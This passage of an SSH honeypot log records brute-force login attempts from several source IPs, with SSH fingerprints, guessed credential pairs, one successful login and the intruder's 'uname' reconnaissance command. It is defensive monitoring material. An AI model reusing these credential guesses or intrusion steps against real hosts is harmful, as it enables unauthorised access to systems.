penssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:05.346045Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:06.698543Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:07.683084Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:07.686691Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:08.399584Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:08.411793Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":52400,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b49450077ca","protocol":"ssh","message":"New connection: 198.23.150.42:52400 (10.17.0.5:22) [session: 9b49450077ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:31.429431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:31.433995Z","src_ip":"198.23.150.42","session":"9b49450077ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:31.452857Z","src_ip":"198.23.150.42","session":"9b49450077ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:31.562682Z","src_ip":"198.23.150.42","session":"9b49450077ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:32.585453Z","src_ip":"198.23.150.42","session":"9b49450077ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":46670,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e3b723ed85d","protocol":"ssh","message":"New connection: 182.180.57.212:46670 (10.17.0.5:22) [session: 4e3b723ed85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:41.168132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:41.175831Z","src_ip":"182.180.57.212","session":"4e3b723ed85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:41.408016Z","src_ip":"182.180.57.212","session":"4e3b723ed85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":47460,"dst_ip":"159.203.135.109","dst_port":22,"session":"02556ece877d","protocol":"ssh","message":"New connection: 101.36.124.219:47460 (159.203.135.109:22) [session: 02556ece877d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:41.888067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:41.894107Z","src_ip":"101.36.124.219","session":"02556ece877d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:42.112944Z","src_ip":"101.36.124.219","session":"02556ece877d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123465","message":"login attempt [root/123465] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:42.363444Z","src_ip":"182.180.57.212","session":"4e3b723ed85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pepe1234","message":"login attempt [root/pepe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:43.016252Z","src_ip":"101.36.124.219","session":"02556ece877d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:43.617047Z","src_ip":"182.180.57.212","session":"4e3b723ed85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:44.236514Z","src_ip":"101.36.124.219","session":"02556ece877d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6790317aca71","protocol":"ssh","message":"New connection: 8.218.166.49:49744 (10.17.0.5:22) [session: 6790317aca71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:50.539273Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":24678,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86b3cf63092","protocol":"ssh","message":"New connection: 49.207.40.162:24678 (10.17.0.5:22) [session: e86b3cf63092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:55.459112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:55.463195Z","src_ip":"49.207.40.162","session":"e86b3cf63092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:55.678491Z","src_ip":"49.207.40.162","session":"e86b3cf63092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:56.571515Z","src_ip":"49.207.40.162","session":"e86b3cf63092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:57.789745Z","src_ip":"49.207.40.162","session":"e86b3cf63092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49284,"dst_ip":"10.17.0.5","dst_port":22,"session":"6709083d0c9b","protocol":"ssh","message":"New connection: 8.218.166.49:49284 (10.17.0.5:22) [session: 6709083d0c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:59.395925Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36616,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbe6afede0b","protocol":"ssh","message":"New connection: 8.218.166.49:36616 (10.17.0.5:22) [session: 0fbe6afede0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:13.965372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:13.970347Z","src_ip":"8.218.166.49","session":"0fbe6afede0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56250,"dst_ip":"10.17.0.5","dst_port":22,"session":"36aa63ff1b24","protocol":"ssh","message":"New connection: 8.218.166.49:56250 (10.17.0.5:22) [session: 36aa63ff1b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:14.671391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:14.676819Z","src_ip":"8.218.166.49","session":"36aa63ff1b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":37956,"dst_ip":"10.17.0.5","dst_port":22,"session":"524531284ad3","protocol":"ssh","message":"New connection: 14.63.196.175:37956 (10.17.0.5:22) [session: 524531284ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:26.267931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:26.272070Z","src_ip":"14.63.196.175","session":"524531284ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:26.474089Z","src_ip":"14.63.196.175","session":"524531284ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pragma","message":"login attempt [root/pragma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:27.321251Z","src_ip":"14.63.196.175","session":"524531284ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:28.526414Z","src_ip":"14.63.196.175","session":"524531284ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58696,"dst_ip":"10.17.0.5","dst_port":22,"session":"eace2bbbd222","protocol":"ssh","message":"New connection: 8.218.166.49:58696 (10.17.0.5:22) [session: eace2bbbd222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:43.090816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:45.469644Z","src_ip":"8.218.166.49","session":"eace2bbbd222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:45.912090Z","src_ip":"8.218.166.49","session":"eace2bbbd222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":45784,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12dc7840f83","protocol":"ssh","message":"New connection: 104.28.195.186:45784 (10.17.0.5:22) [session: e12dc7840f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:49.127712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:49.131294Z","src_ip":"104.28.195.186","session":"e12dc7840f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:49.263233Z","src_ip":"104.28.195.186","session":"e12dc7840f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Letmein@1","message":"login attempt [root/Letmein@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:49.605773Z","src_ip":"104.28.195.186","session":"e12dc7840f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:50.688635Z","src_ip":"104.28.195.186","session":"e12dc7840f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:54.977611Z","src_ip":"8.218.166.49","session":"eace2bbbd222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":34530,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2accdaf39aa","protocol":"ssh","message":"New connection: 198.23.150.42:34530 (10.17.0.5:22) [session: e2accdaf39aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:55.185283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:55.192319Z","src_ip":"198.23.150.42","session":"e2accdaf39aa","protocol":"ssh"}
